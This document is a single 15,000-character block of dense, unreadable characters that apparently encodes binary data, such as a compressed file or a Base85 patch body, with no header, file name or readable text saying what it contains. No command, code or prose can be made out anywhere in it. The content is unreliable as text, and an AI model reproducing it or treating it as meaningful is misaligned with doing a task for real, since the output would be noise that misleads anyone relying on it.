z<&P=1)q*KPn|rAiPk^$xrw=yjHb0{&1tz@mV+JVRye&{={yUPC67;0WFS!8&3g6#~ zc-V+L;IYT>nPQX}M-w<~T{X|4?{bDd(oxnYeswSt_U=$eUsXGK|Rq-lMf#@q?AqnWjTelML;7A$^oO2~=s$;2G=k$FD4-MpF_ z3*KTo`^mpL4{QBkY@C44s6l$IT=ZdIcWMJNfqq8KnPCiqOi+_QGgw-p9eS)NR47mz zr1oJCK4L$gZ(;M2=^?jIC+7?S#19lf4VK(#>8G=W0FOV5sZX6*6&F%pPStKiggSeT zNum9A2ClZfe_xYTe6;63c+VcYuL{CXX5u@?g3jtd_?=CebJ;~dyg&3jvz0H`=@w66 zwAC-M%>N+r(lC+Twa$gb#%IWXtXis_i1t*uSoUl!Rr{uBbz{xR?VBC@xQQEj&^Soh zY$;VN+;V_Nd76!^o2miO32*`Ez%vH6QN;&Q)MOaVowpl`_ZFQeM2BJ>S1O=tW@%!^J(jUQ zFKp*yB1GOJ3wRGr;L0S=gi`#wCqhaGLKX!TlsIL;_)P5$nn8tUtM~1n-?y$9GUzlS zwJ7h7e;Fe9uAKRp!A2`vSw)8AjYteK<`fEzAlfL$mIMkv@m@h=;xh5IMS$aowVGlyCLU>HU{1|WQH#j%7!#Q3?(EYIb-N9&2`Q0_ z-(ynQFl6PqdPwZzcvZTztDks8N{=cc$8}d>6+pYD{wGtmAE!H?9M?7+l#d`bA&A0E z=$^R7;~qW+C_*M0D5KC@wzISukZr`Em# zuu8sc1T$NWWrc zH2%3};{8l%FatzZaABdk2w+qF4x`7z>N@&$hnsS~ub;40)w zBE61%+oh6I=n0KnI{MSdA0Q?e#K^>Gbg<2*zZ^yqC9re2w3}KSmvm=>)Rp8f$@pG5 z`iPkI@}zvXg^R`c`2Fo>mglTPtR`PucGNYgM*VNqMl4t5Cq>CH3r_hX!fE&}HEq|a zS27|6(1*#|jLd$L-QP9!#7 zLJ7;yBxj#2QDLf!5({h4a}*CB7B>;3$P(Ekr&iT?bA2xjed)u|Jn4%vnj}nLgxsw< z2@7F6o8*t?`LdqAu^_u3k)mxK1lT>i&Aaz>8~#=G;#bA$U;l8+u?Rw_&uC2hh@0#! zR)$2fL$Sg4m9GsT7>ynp8hQU92}m0dd^39@{Pw%f<9^ z1%HeHf$P{T(PjjJxwJ!*?9##p$YKT3h^25z%s zD(|(c{PI)|vBMGo_uda{sVx027Q)i6pR}~NzY07-t_lrdg4=N@Ldj9+dpl`28sMri z4i!#Jv5Ir^VhU|1KD3>c`rPKd-DuExJvdCYc)b*gj}66ZTeKcdUKjrICEy0^2d%g^2b`NF?wvZb-Y5|pE__~!W z<~0IovJU@nQ%cFIABXvqypIW*KL@Jlg_%EgcuCv*HpwqiR!KQ1(3B*SWl;IA@EV&l z3%WXAoPrpz8dKWn@^mFW1EA8>D1s}hBv#B~lOf_TXlUYAW{M3|vLkDEtn7PwWTiOL zfzJJInow6#6^K#wkZqZj#Uxe7R^Iz0W^}{m0Wl5D%t98tU)RH!+xfo#(oV@1ZCsy5u|We%ptI&=WqdU$xSL(RvjwVCN?U!h zk}Td8REC={pE~{BB#rx=YkV*+hkwk*bXNzA)X{?!n@6GXFv9e>2rUF3r)M5vq^5*VQ4JP~`(Bxyfb# z;eg^jnfD+4%(dRGkO*$8eolDx5esj8J1zuvpg78j16?Tjlt z#*N>>vb<^Qb)2%sNA`Hxq1n zOQv+({ZUC(?34>R5PrP46#JZ<^$dSCA8*fLJpsQ6w#|rM+<#ZcbC?U8zG+C5x*V~W zIgYyCPR+kc91ForU6(Uehy22AGW;(dA9TF>j*q)swEMjHpYWpn50QwdXy}1J$VG4H z=2me&-bq^u4_$R&m&6q48dPh(PmwdQCRKPw`U4uCHcexojC>t_uN(mLVs140UZ=*s zqU;UeQs-+mx}{HR{cy17mAMhT#;6cWTi!fCj1p1EyyMlU5)`d?zxHFH74D*mlRIic(Y3&ToeB^G*Hbm1$P-Qe+|t zf)^PW;MYjZ=-DJHTf^9yg`mz%e}w7aDl2+#OKT6>*En z;UZr$d0c~jdc_h_ueKm$qV@9?g3}-|**!suL5LsPH{>3VI})xG=v+`u&fhWXmqX`c zs}LiM1`WOp@SaR@HB??enr|S{q)bh^ z#J9Zt1XPDdj9Q;f6X%eGvna+?ibp5z*62M>STot>4o#4BX%%?H-Ko-wc`muZ$a|d8 z_^9sn+x3RueyInq?w=kE7?T4+PZC>QeJ^?l_%BvYr?g^datI52$GdJ99C>slYwQy*MG z;_-P&fs|E1fd@ezK8!#FkWQk#V#Oy#*uSaSJv~%{OLlv&?C2 z|9ukn>&}}JwJF`Th6%K1vKhjh2xPqmDjDC+lE~6pI4S*urVO zkL#u)6~A_s5@%$4M01Byaf47T0~)jk+ON$mj2HR=^C z5ld6WciBx?_E>vNyk42yZ~5Q<0tmnH`JLY%d6ff<(}UOa^X7p&`{H-2wz9F(P&ZWJ z^@T%9tsxYVJS6EOHc7XmaiP#vPIENPB}Bo!2~if;h-pBlJy_@Huj|R4S>3A&_R5)G zj&CIylj0V`c_1C>vt9L=)`}a|w?b+r8?c{%1253cd18Vf%Sl^TJ&{FMTj;CDtLwy+ zkXgTY-}7M`buNhqp$Dv0c6SAojF{4%IU!l>>iU%C(geh2hJq1m%pqgCWEp)E6#NdF zuMEmh>485tHe@E;5_6v{=WoPqEX0hRkE&+PNXfm+qg07ajRc{X-8t=oK7W%xuh}mK zC+jwWqH&n-+6$d$uPnx>=c$2%BQctfPse|uN{o0z8xsQB@1i>jFkRTl`R$U+SP-I! zsmAlq#EzdiRfL2SCzOIM`A#|uSiI{okZAkTO7@9p`azxw;}FPRkum7cbdBsx>G=dz zskyd)AM#a+UEkm@?2L0_;^QQrE5R@Y4#c5x=U)n$?D$K{){q#O%uZ*O=`&x5RYFiz zU(r>9&sx&}cp%+p*#0zZ+wMj{q1_{XDd`}S6ja^bj&UNrYqIO z#x3^*7Yl(H?*rai#H~%qXw%6bB0sc_QuY3RD z@T9zm_%$7_i}J5Z^D(A$z_#X~YkbFGRimXmiNyFKoHmJFGfmK-=P3}|^pQvRe#$3- z$L1TFuQ|R{R95--iKCL%pGH!xv#~Y^hHFE)egfmg%pM4lNnHGTm{RvJg{tM*h319T zz6YviIjNa%UU{w*J*e z1AVeJzhC!P9^Iy$AJIlBHbOJIE6-@$}3Vn6fxAdNx9SSt zUqhfMa~~&CtabO)a}W#TdP{C$Z*-5GuxNYM=1<#V8IIU zC^rPhO0tCW#2YX#(V+(4PT>4{;E-avv=5qiHA-0Fm&`eQf}c1R6MSI8*(rP4-8_cy z4`QHx<}|X!F0vqFBfbqAQE6N2jSsQXZo{wjm-H$=+Ckc5ZRb}eJ;4rxnayv5%r!go zpIsCs^|_%(p@to_6h~i0IZa%s0_&D5932fIG@Ur~>}j;DbL&$3>!)k?xey}p6ZqJE zMQR&~r3J{9?vkgTOu2wpI@4?*hfM2(WR}~%8(o_B;AvYTZTI!iW0)@5Bq(vG8_ClWEU2)OWk>y-FXRGgal(#MSg?-(>1aGnBdAh7mB$#y3u)#zp2}iDxKx#64ROkK!6v3W_1#Vm?tDp>iqSM2*i8H zKo>1M-HnkdL>xR6x?0xcC~Z<5DyQ~u26q*g89YAU0Y)mKjR7Zl!+&3tl?O?DTu$<| zKEcn%J@%uplX*shx;{;B${#fDbcdaK*kV4Ip1FZToraHL`ShX7#!zw2_F@$g zkff5tHH|WLKxOyDyQ%ka(k?|{)nM;zf=XwLz0=*~j^>7DwWZSN59Jz9veDFMLkC6^ zuNOQ`6*yOwN1_yEE*|5)m~8+T&Sus=R5cdONupB8;*1eTLO^?6Z^0Ke_kV8KpYGV?CG}KFblp(Pu>M~i>51E8-&GXWybhzZW ztq$=DKmH43?YN_#8DEOX)>B4@|GxUm{ounB|6cPMg^J9YCfO9V(Ox!$+~2eo>Ya;s zy(AM=UZV1VQ?pd*S>^+?jfSGY4Y(BK##2rB-oDU#>Umn4rrfYeb5(2nt$hFXf#KtF z!aV9@O;lwo4`{>WGI{{x6>}s)XW%uvt?g3D&#x_FFdIB;BlyQy$wZ@kub_(K8rwZo z3vrXn^}hVXG)eimd?I#ceA=)dYPJ1D*2gBPtgLm4|LNF#mhhS0zP_z?GHLL|vdI}k zG1%oBJHbX}!3@WFn&%#D#Mz=#gfYS~!)0csQm>P|`fCV*94vQVMAa0h6W1Q%Vy#*{ z7!kFZRn-O=R=q_#G1O0H1?z+Eu;0SiSluaGrC1V+PX4X|havXIM_3wNy-Sd2>Fd z$b85DpvMCDV!-!}v#YZfer?V^IpowZ^fVMBD}z4-eTm=PDGBJ|SYiJM@56~+Ut|1; zBs2N{S(75FkGmWQ!4!vLfKs^3kTo_E_M3CEHIHh+>3t-$B=jUtXa{ISddOOd6hsuX zoT$IZKAWs&eO%+G$=jF0*Y06VaNn8)UlRQ-Y&l$^*ZXqf4ou>=r)1iy;;9j%){~bE z)aNk^G=+^)DQc>cF;I3?KhVEo(k_q+@}eQKo&_$JU^0`)+MDs*)D&3@8w$Dn;X1Hg zsr(R-WArjn8fVG-2%&JWIdTtaQyHU@Q#Mm|Pr)a~&^b9=ZZz*O&5%c^a}DW zCfpD+;C&u1~%`@$0n3$v3$s;?D5+lk^$_#&!ZWWh$_c1WO6{jE(8*>VO=AhGo%9BcG>v7`; zZ>v0eeKP)9L7GC<;6%`pGH}9d_T{-IBH+D^ze~c*{5uzSWeSqFsuZ^!oYcWW7WVT3 zo|Ui!zpK57Er98 zj&MQf2%=3sNMYoyjr=LoBrpnpKAl$M(HZ4?H4dV(hv_qUW2kR86j;cp%=0{N3y`hA zcg@W2#IoE`%f)si!LePmo$Wqf3#ER4g>47h`p@J;G1J8|r-`9gyq!n+?S44SwTRhS ztZ3ggS+P-bRkNK-Adj`Ze!K%!W&B5EV@3aeE zpzelWLLls(+696~4;Ai~DnBAhv5hs4sZm8F*%(OuSiCvK{eMyQj?r~MTeNU&H#VEJ zQPZfg(b%@_6WeHPJ11yt+qUf!4bPZL%>J%@L^MNp-4(wTKIA7~os@}0(i z!QKvmAK~!25u@nUEK1%6bK^v!-XHiX*p0CY2sK4MiII4;gO;Nj@`3UBrvJL87TQJr zr~YT=iv(7~BX#tZCHt=|4Ou%Ooxt;;FMMe`zCwFE=7$$qk{rt(ayKLsCa$3uFL`DSt1Z^?$jz zwT41M%LI&rME%MJH7K~&(CAg~iB)PIDtX69a?i`eAlc(n!=zK)x;D8Wo{Q(HR7rdcXN_o zzHBnfFQqn2H^aOFDrfZdwVeG*%^~%xFK{ZC^mXSzK3l_{ay*jkc?Y!zG6LTE-qzAt zH~e2qNF_Q$CHdg8xVU3$_vzMOg!LkA`-vSA!Cm`P?QwCoCLC2fq@sJv=fDdUuYph! zQ~vud<6iAY(ftQ;-D%qM9sV&n7>*qn_(mh10;s?7R8D#S#c3TR@L`7jv%d3De>+ix|v{|Vn!t>&)3eSHhL!)+b4 z?-g{FNlRDYZQT1 zTcT>}jr885=}L%GNyo=#UH{Ieytt5>kyGU)q0mScp@6%=C@yRD>GIfYWby}N!c9|* zi7)b%ukuH?U&H>#1tYQi<+SBF#yCyzm88I)ckmSOL%KCNtxAMHCi$4r=2fGf!SK((U{sMW`n~@%4nc&o-CqkmuAXD_BbYyCYsiWfNrC$6gED8XTvYHF&$}f z*aTydy5}$Ad7PE1zyr0M5gp6oSkVxo4z><!t`wvaSpQl~d|3jJ07Mly*>%~K84-m( z{H&z<)M@uB{J_^+$0V1ru$QYA$RzjVx%RBydGD*{>2!;q3}V^Bi@EpRUH(z6N&;1U zef(96?CO@Lv!$b4Z?!_pvb(mS3g;;*Q8of>t>x8CzK)7`FYS4uuffB*y70i|IV!70 zvs2AvVcVs)UO(n*>oMr^EjD`Ooe=)iW%m73kDTxs{&=9stw2=KgZW2byIyYWlUy0KRlg;cMq$1Ik*H@Kf9X z6*EZKtFaml`(E`eIMYIt`nDuYh|Xg!50@cxiN47vN$g4OX^f zQWJATjLkO@T8vif&qu67#)ln|;(K_%^JnSTmBuvZ0$(1D)kzY{^93a70q!VaZmP8z zQX>oirVBBdQHn2dRB$fUGp+A~x%pyi15Y)b1cW*It*&izUBz7&cE_eilO18cJt<*YBXKB^4m>9+Z9uP8@T z0nQQNrCepV6!asa55i!&_Co!rwnG->Do03Z%EQE3tDTn9($zC?uuLfO3O6i$vz;6f z9t0v8Tc`w;CH|6BGS@m0+Sv#VA>`7(&!CxuQpofxlxph-7h=tq8pzm(!*Lu{y3a+b zzYCm@7g$mvnD?}ps5W_gTlynkJA48FJNVnn_4P>ImdlblM=ruXVQJqNxCP?Nc`PEy6`_4&{0BNK=KhClw$m*wWRd{R z8KUk@x^;lMW@ptX)eXkX9h}~i3jZ+01GoEy0&p8%H{vJASG~6hGo)-zW9oUNbYb6Y=!lh7LYDy%NFEvbK=*mz`~zEOwA7%xnu%4?c)z z-p}9Y`%`I7>TnQ+2d9EakUPTTJ9B?Q4Udi0fnrsIMXm+gg?hB&#wcV50ulO`rmDrb>3hx8i2-hbC z%3P>mb#K+E4F|F8v3}nJg-Xz5PV17Q>!Dcl{7e1v3VB+qt&NT{9<~eNp|3(7KAVi) zP7(Irt+Y*D;e>g*2KCT_v(3P67^13vcSY3{=`)8T5f)TB6;+(24#{>|lp{Og5=jL9 z_XuEh`tfa9U`&)#H)speiRTxm;Y+aXhWI|#93Yd_lpSF1f{ZO9WzRq zP{k&`V)=RO4BfoV(t~RhKi)CqJnpJ76Sumlr&)M)8FnGL|aUd#2<9qK*v+OXm}I#2CX<*%e(Tix90m>eLtPB+Q8 zWiRPUe+iUooJ)J}?)~?$pIB91fR1X+d(|mgwTD_JpcYdSaEs( zlKMq^S5le>GttMi!uIvqa#5cFQ}5iB$3Ri!3h60d>ajm{Z1hk)+4<~OhU;B;h_!O- z-}>jWlue%GJn3(J5&|z|-n)0XpSl0P0`7A&mL)U+7|~yWG_PQDDGi{ z#gD^E({oP>YMA8U2*a`ohYhgTe{D^S8+p1_UaMDNsy$TLa~lqq)&BzjPqL$kaUbuy zu(gWt%SF=rzMj@FO!bh*`E?84N4|o?jmGZsbVXmurh=Qgh)imlO9u;`@x+9kn|=n5 z=61qz9Z@ZBzFQR;w8%M-rx&7E(YWaB!qhnKr2b3e%VEv|Yv%&`GJpBDs*Y>F*5TA5 z^FRd?y@#V-Z`)N`+TM?9$l7amun6fdahrq3oc)DMwsrC4N{c~{J6TR{1{F0Ryb|Q$yYZu_C(6{Yigz~so73oQjvHj?<2mj z#{u1JGD*RYp;;fC)BM~m`e)H-GGQy&_r91d9y9>mkg6@9zO}_J;A0|dY7NF*nf`eC zubu2vm5rw~k?1Snf~UKy&-Y&B?}JxG)owW%jP+FGT=(8rl_Ou|!;hl4%UZ7c6;^w; zSoh7Q$`5_P28kqnwXWt$ML+kegAANk#x7Q-`v^wgBbT^opcq5ZIN8Y6 z!K&@^yE@zPs)V#qT6WM(H70-I1TDeaXE^-S7turR3R_Z*y5hL`>t6P|_0L$k5?i0o zk?FVS?wd!yL$dcm`SO!0+dKOIC^&ZF|E&(a#}kaXQ2(DJQc|c`fsZHVwd){GTTs|Y%vaDcHc1l4|1=U>t5Bdp zt9ANf2tzh7&H=ah)tAPuBFh`5P|q@gu9dboy929PE`&++XLXxu`nn)>0j*QrxO%vh z`#RTF<~j2}Zy2#ksbh^94(2GVkcP(bn}jAe&3K4nnq*|GS!*6VwZi)0_k^Y>h1>;Z z>hH)>Mm#vs#om$9Tk6Li_LOmah`+It>-!cM&|14Do>_{Uph3v?)ENOOS|ylC(0}E zXe*n_XcM5{Ug{zco`@=50_3VvjBp}D;M|YSX%cj;5vT{SX%M&7!N_=>4^XX=vek35 zHSz+L85Rj^>}+dd|Lo;HO@N28^K!{h8kX}xnIl3M-T$bc-=Q! zepaA2J(6&-Z=b}j_r$8Y z`)^#(ix-WB{1xP%uro|}L`NNuKU7dId^$TmqK9cH?R8(PpVbIVCeWCZPXC~KJngq} zkMZs}J@ugM>R#OG{kF03xXajjw6hv7Gxjm>ADxwjt#)JVRG->Tobgs)m$F<>VF$Zu zR~$|=*vfFoQx8eU3A8tqCEu3b*WaOE_u;NV~pjz5Dg) zofZ11E_ksu^V*c-oE01%Jl#VizP$M`ah4o9@Ux4;kNri50& znQGK2u4Kb@4fP+S`3ef@9y2g|#SkYhC+*z&EPcmMM@6W+%c`!(JB9U(DgV?u< zti?axGTZtC5uHu0vpFqmOChQkG#M1Ji+KCBG=I)9EvQ|{@t zEVi8wF`>l~gb+CNAj>^v-gppp3``t~fFn&Ih6GWu$vuUB0yCoKviM zG6oXaOJ=KnVn)+VyacKU(0Q_NA1SO63vhp9Nz(_hpvid#r0D07E6Q(wmWPiKLQLB2 z@|%aaTHfSjCpWe&XAOmH-it|`lroXNO@Tydk%DSXym=nRxUov)FR)dz!d_-2Ss|3} zh$u=UD4C4oX6CvraY-2#>$101FQKR_Cz3!*Zyblr5 zuZw|}I66vRFR$h5y2i@h2lm&0Ny7#@XvpVYOGRXbelDhiecP=ICZm#W$rm4S_ zm&;{z!rMEIwv3u@7b+~X7R|r`)>gHk?e~yuR(AO$!)2phFC6xc(>5nd>l|kJ8Jk~6 zK9U|ZeJPB4SJy?Zhx#$s5Cos|uZhQ@JTmm$8yw33=^TBr6_oZl|5s9x#)3MlsJ6wb z{X`aX9cIm7GH{amvuCbL>lQo><#wuruf$cVK2O_W@+~da0qrYRYNJvP&aE_7UGtGz zX9%kHvX0J1-7i1KiwzU8ShM@p%+d7Z=uyyI|@M|Aw^HDuAPW zLw& zn@!!W9lMrnax(M#D|fDX6aKBUppO4Gwx#d8x0-j|TDIz?mHzTZeO)$(s`NUWq~x;R zsn=atBK+FR;nvvf!B&ar8_jCfsUcLw0$}1yS}&ERfULCev9U5zy?7knXqu9q5;Hem zd*O1Z1m;^8h8jUif2hNmlZ_dcE`ZP{XUw&*2iVl>up)c*RN$MO&ikh=Tbke3JehpG zYnBTR6ecE(;u33NroBn2!U*ae&nInB(Q7=kel5pkm}%2nCO%$1oW&8HZc>DnYO#bP zaRy6tsg{xev_z5>`fI{wMmkId9+@i{z>Y9ZA4rU27RUaAEH6D zU6f8FTh{ko`xo{1FZe#d56o&wj}3~qJ*j3nQXUNlgBeSQll8rd7aMcd z^Y*_LqtKJ1lJO(r^6%bfVPPhToJ!HJHR}AvP{y6G+$n8GJ`JGS3_p3Ow}0iEJ@Mwe z*R}P_-aiV#m~ZXlFrcY&_LYBl^%*?sfq3&WwmcdVGC2zC^L&=_khHx}TU*q5m`MdA2@1Mudo->;<0A zUw!eT4A8urE89BE4dice`MUbVvoyG>k6{Kx3(!8NQeqJ}VOZO%L~fRNQARdnDM`0fU+T+aW=%;1_y>&t%R(9iQ#1 zlbfBJlRenM$?bQ=0{Cr5a=nwd(yH;G`~hFhhJKCTP|vaIgrYxTir2<~9>t!O9PSa# zl@`AJk+Jl<^5h)GCrGB>`MkSJLBBylAba^RWtzfk!YdgR-esWKg%MJhib(X zuq)Fz!p+qRR^^eu-FYmOf+Hn*6K`GZ*xNERvY*}>u_}+CIK-g6yotU4qVPB*8WC0= zJY7J|v|@+oHbwjOJ=4xjsEZJEYILPsyBPwO1`y*ljn#H5PP5Pf?+n&&3`VzB4!e1R zgADf{p<8m0GJcXN%l&f~2<7sPISBS5qy+9UUCyVe7{t3I8K0_^Nuzde|KWXxf`8D> zt#u>3X+?`39m>T}fb%Fqs_;%8rRxn923cIz*tbYe=v}$R{I-=^O%CBbZ64zlnINsz zaGqKFOZw7Ut0feTe9m}27y4ny0WRXKu!@TCeNYAiguX9$Doz{*hulZgO<9)kTvHcPgxjzc%WESwd1|5iAjsA_x z?e;71IiO7hTDKC!$?=x@%Lf76rbo<}1GeHpM(e0py=H&ly)9&tw zI-Q;uz?H9NpE)r0FbIe^cUUvh#Iuc;&-kBRF!#lYG?jt8S?A~cGw(Se_tDYOqf196 zwyv(1n)jju++0a{6p$YZV`D*u@N4pEuUPCDOe=C`_HOF7R(=K~;TMc8HCLXM7O6U1 zYE8~nIA_V`L=l``Yfwj3909FMqjK+uRf&meRSc|FZoM45W4HM0G zt)|i`yrdNOpc7*;v{lhjDB`}TdR0HUf`k{{y(kon>0i(4y7d4^?eV;=KYPkv+RN2- zLpC}%XkNyd=qA-oLe$^6N}XDmovT_dhv9uxm8YOj9-0Mx)~Y zP>_McMRlnzC@a@fVU$r<7E^Uo6a(NG(uj1$cEr21Fce+=Ta&}*r>v!!P-{Pgmc+Xy0<|qvB&4htQ z{uP+%k?cxB?z0RvTtvE?3aVu>!{>BY&<5=tJ;{a{VndktvjOf*<0V5j@&W+cqgF@v zZ^)&PJC}OP5fnd!&5^}w!FR=jK`(~e>xlzy7j!fJ=B|cWG7=RNf9HMkRlS3_b>XuI zV}~fmoh-$8Y%schh)lZChoQWq<~=IX+9Jf5{RuQnICs646JMwcJ#Q-GoXRokud<716sgS9xgxreUW24e$f!gCus zM$KH#m8Ofg9cjNLBXN5HP4j?fV#p&rJb?bmM*J0i)m%O-I&%Vu*DN>YMY}f;wU}Yy z*6r(2u*qM`T8K>5-guPjj^2a8pXX)>fbG;kIk>Aue!3krs)9$V*1o&bLRjB4o{=XYy#fZwxI5SyD; z+YOG&pfjqgs<}P{cSjfQxUe1gr%Hq*NR2BM?AH#CyUdm!who&s!Ae682Of&gG)sp^Q9XOOQ3L6s3Y7 z13;bJuH0HAHA4te5DZO{P$;De)ks}$Ph@#Wsl;5EXdgd(mVZZN`j(;{Uuxoo`HD+-Wstt!8>58;| zP?`JQ*Hf=fg%N&^wH)6}IEjdVEcWh~=1jir%)rv$jZ+of&Ggg0d|R8%Ela6vOoG~I z^cD;&P>d3R3=Wbw5w&Jef+dMUVt_iyjZ%dUNHJQGvC31W*o0WS)};546_sVlt=Bnhg5%*2#tc6Y>R>7rq2;lfu<2QXmjv4wuT zvk3%xgZic*O(6E3K~U*%vUyP*Z4j4hPbxdynRAdcUdFtRS-2@Ij1E3l2H#}qtb7y| z&&Hw07_0541@)~E@+f45M0&V0|3dv?$D|}sq}0__XW-bOq*;rZUblU73^@O`K1&E$so8eMrkin*8L zWv=ur(0JXiTx9+0F#`-^WtdihC^YGHdUPbWXMfr~2R3Dm4~$MSllM94B?~88v1aaD z;TY7)e9T*qVNga)Wx7fZ*C5=NFf$5hrvs4Nq@Yh$AxlUSm1qWYHJrOV3IB2byLE1` zM-^Urr0>9w9qp>!O0Bm_XXv(ajd=Sk%CHU=wDnZ@$by1Hwj9(1%FKFo26%#SBb09s zsnfz}o?_A}b9PF1K&Cfc&!M+l8@6h-?WJ@At=OGW_AAbwC{~*W;%qkX?C)KF3!^Tc z5mPkS<=cSa>?lC6qkw@#tGN^#?|cZVPqt|etXekDPrWEA-hK0XPIIMcU&=joTzLya zS4QwR^|zA7fQD9QYTGly-|g^Vw-T=((O|S^&2I67wxNK33O`B6RpS7S7c+r&y~x|6 z_<1u;@23pk;v}vD0q2ibNIuV7V%maD`v-%%r@2@zA^yk8^(I{)!dt3Ez>{@|I-eT4 z%74+(!lwZFi1+xUdQtJ;#J~iLjvyR9x4zzP>)>EPuXuC=>V)_X$tVqRMu4x0H6vG! z*ApXYninpln-K+j_xHt>;daCjxu7aE%$N;?HciQ(JwOW@oL zgN5-Dj?$<}oR6g@=2-=@Wr4Ar#}eMW2jqD@bR<3rNY*+CN-epnWELo^o@|r{Y~Ll` zG$P(X+KGo?$MYwra^sHhOAigz`85e4RR&dLS(vvP!VQ6IbE<=MJ?rxF?ME6UDI}Y; z|1YQ-4E+~vME%y(mQ#yBlsZVXn__67WHN89vT8{_lU9aLD~GM+ZlK(?)l#E{)=N^3 zBD7fi7r~r%bJEss4Jd9@I-r2Z10%)wx4P0ofgPNWz;=lNRJ#eeZ``LA06>y}Mkz!M z%->*m2g0Un7JM=#%rHo(>m+qO`yWq%NcqP8;gE&D;TJL4iRUSw@*vEajw)HX6{G5& zVjpCT@+MPCwTMY3|3nv~DV@oBC7lqm?ZSe`-mcMsOG7?)je|!y1-m)c6$vKZK@1HJ z_Kt{*GenK`M^Zrr&Rk3J2UbNnt}h(Jt6HL;bIi`p(ym%50gQT5ca0btB;P<3IT|7? z9g{C5LlKEUu=C#S1J)l1QersjUW6mtmViM2`dI1rK~CbEtgyBu6Me zJYsWnMOnYx#JJk(H8WLBbXF#08I$6Yqh-WiN^~ZXm!W)XWDr7wj%6tm{#r58!AnbI8ug$PCyo*#5LGS}CPrp@s_5>RiEhqE(PIOCzKVn=X{ne(Pl~3d zCCltMN!`cp>!h4)QTpg_TYm1VjVmd+#INlzb&p5}WV({h{ZK??7Wuz@LP!dLb5enuRwr*azm)PFxkD;s-W(Jp0f~>n3GQy(_o;sz{Ssu-@Gy;)nnVf-2AlUnRqu2{ z0p*#rex$Z-(HlY~A;dI+z8R8m;KG^~-tnS@>#XiEob==mT!%R11G}Y}m;PTVH;if_ z%$iTTUyyl)$b6E?Hu}k)Hz4nNLw^hPNwT_mh;u&*_|Cvj*-cI>9aXiZbsy(HVKVCC zGT*SUCC!M_c45=58p`^V=kEPdo(~{3ByqV}yc;>T%Gc*w{%3?X9fRnTAFgyjB#NF~ z_eWT0dqP~5)J3f`5qjaiG z09k!2XC5#2&qsFb{IK_3WInvo#ix@i?FnR;;KUZ~3sw8Awe9V0HApvawf_}LJ%_si zNG-@~g(=0z-!H{bhXdKa+M65nA0r4I&Mvz5s+36`8J1gT4 z6Gqfnr1O=A-+7|u85!DgtU%_X)zeWn+Kj#T5bJ>*jCUQAsj(6Rxa5QYrV9Dfm5=3h$Et7F?K$wqlT043R2*U zu3)mh?66H?Veu;4+$b$ireX_raRbQt7DY1Sj_Y$s!na=-ttEU z3#&x*wPqCcNuC)mR1DN(4|e>_k<(A15#&ssJ?&b;&r{ZSB0VS00{U$Dv3(XNr$RkiWSv!x;}T`Z!i zV)!A}cMB=gJePZhI}T`Av?e(bk2Q?W>i+&ZKyK{q^=1%wx)~R68B2GmJKduW-HhC! z-P4s9hQ7k62CdFey+gGA?#D?1<#9~Yi1z;IAyL{?iQv z;*gTdecJp?Q54HheZZgmac_2bckMtv#J0ms(x>ZC9KWcfP%~kBscg+O8T6^#-@4B7 zCADQ+4K%1gzRi8h?dz$AGIKic1;sKe0RVcd{5n8x}v4I8_j48wx z1a!bS1fcXg!~+DkMKN2z-V7A9()6g4WGW z1JLCX-A!8{XcmG5%d2GOLKw0PE@#Yw;H?>=iE-3P$xV#0>h4M3St78G_sFq=xR1({ z4v99vAs=2VwXk zU6i^tLjfaeIR7N_uTow8rzvEMC>DjUh(ZRN83IYTs1T$JrrxK=e(7?RQ1ce>X>b}; zswgzLQUwBhX0UaSl1CrAm8V0qB$n3OrAOA)mcW$b`P$aI(=)sn;68VqpP-*xLr8AF zJw*71B9&FUr2%jylu^|9PE6edQUl6`)j5sqWJ$Ii6kgg@^CKHgda7*DlKBmy%L}5I zdxq-+WoxD6Rhg@bE2S>4SshnBb#5ppz~yiUuJ{07R%G*iDL_S1S=#yZ{;h~IoOXUS zgy5KgR)W6`|Hm}H$%KmO6=BOD|7llE2f5-(U(ZYKizBne7voKI)4z)I_N*tUaF>AX zE4ptv3q%!5V)SFYYb#HS$UhRMN3@`izP_A5>yO7dHM9u}T5T9xsnTrOjeYseAXO?v z=ODT(ApzoJ`oYdBT{!C*FTg78x@Ly>Y(Z2ZQ3!mUOXxD` z6M`@0!9+f9OemF^CsruU^wbw#fFxmQb{Ap61uISESwLsQpCV;8&O{>2; zJWs=fz<9ZoYP#Ma@9sKC$Sp&s+QWixKsv};u?mCpJxYw-q7{L{(Tx(daY15#zSlXG zX_Js>s&UmyJ@>=x#9k^QFc%lXPtPxrRNMVKSdLVZNS*LBvVlccpoKo#Ew*SjRLz~; zAj)Qpk)&blyxZF5W0IZeL`946V+nwQRxWiH!d3R#&yNl1+@S0{>qon|HE;1pd-ngS zwH!3v^PnzM2Y;wh{g0?(LPe+R^T7}d$htTvVIP5{qxA3PYApVG4et*_j%3hJN%Z$c zr{}dV*r^@5j``c*gb{Z$ccL6v1~^ZYBxR-&A6U4yphB(>gop|4X_j+3g#tm;Jkinp zRex?thR^wqH)@|#LD^FZVN+my=0-yE{+F&386RfYn=x*H=8vK+axijaoT`a7Wfum` z?8IFpnz)`Nx> z%3WqAE&e=f$Z^!3GI?pU%TkeRzs$s&$Pd_yzdxDyCTn=X;*WCkU4*^4E$sm%8kpPt zp*^5(kSlE&CWT~3?L4I3iWf{>FsQ(8=Wz?V&0e<4qqAUZlq~HR-lTTG$SoVHhLfKK1&)+iIFFQ9 zc2L8_>Py4-XvA=#_2%=vuPwWe;XEaB_ssnj?u9rbx1|(xI{*dI?Cg}a7AaSLiUlEU zD@>Qe8uvzak~XB~AYPQ2!#>tRs<1A%viOA`3{9t_mil*J|7g%7>G9Vi8q#!=-}Oqp zjB|9QkG!nIJLZfEGJYLA zV(Yet7yRX$wvLVxcjMr~`bjj45bZOnW4x0r;odRbWTKK{?Ef;^A~drex=PRcAdjo+ z9Vp;Gke-6JUc+20GlEfqiKOrsf*2|nROkU@!-XSV?|4FLay3qr7p$gYPx7~Nq{aZ` z2~BcW$sJ4@@(~7h7pkM>cwl@JIPnA{OXVdhf@~4|A$9UyK#Lz}{@?ovtDKO@;j!T& zZtWKo2pSnd8|wy=5IjQ0CSQL&WA9RM{*p!y5C}o?6=PP`jEGqP(j5|rDK?!URN_o% zFt^l^fc@83#ydaU!Cx;s;y)o4rtolkMf!7`(Nnv zGtZl@|H3C;#)mcw!s!d8!SDyc9?It^VYAu`D`W@~;uQpW%h?Op7@GQ-Q=uXjk*Ij) zK|&UZhCs(8Li;u}%PTGgS&Cfw`)_}+l~8%|ak^2EWbs=HKKnzgK?d}VAldeRJSPv{ 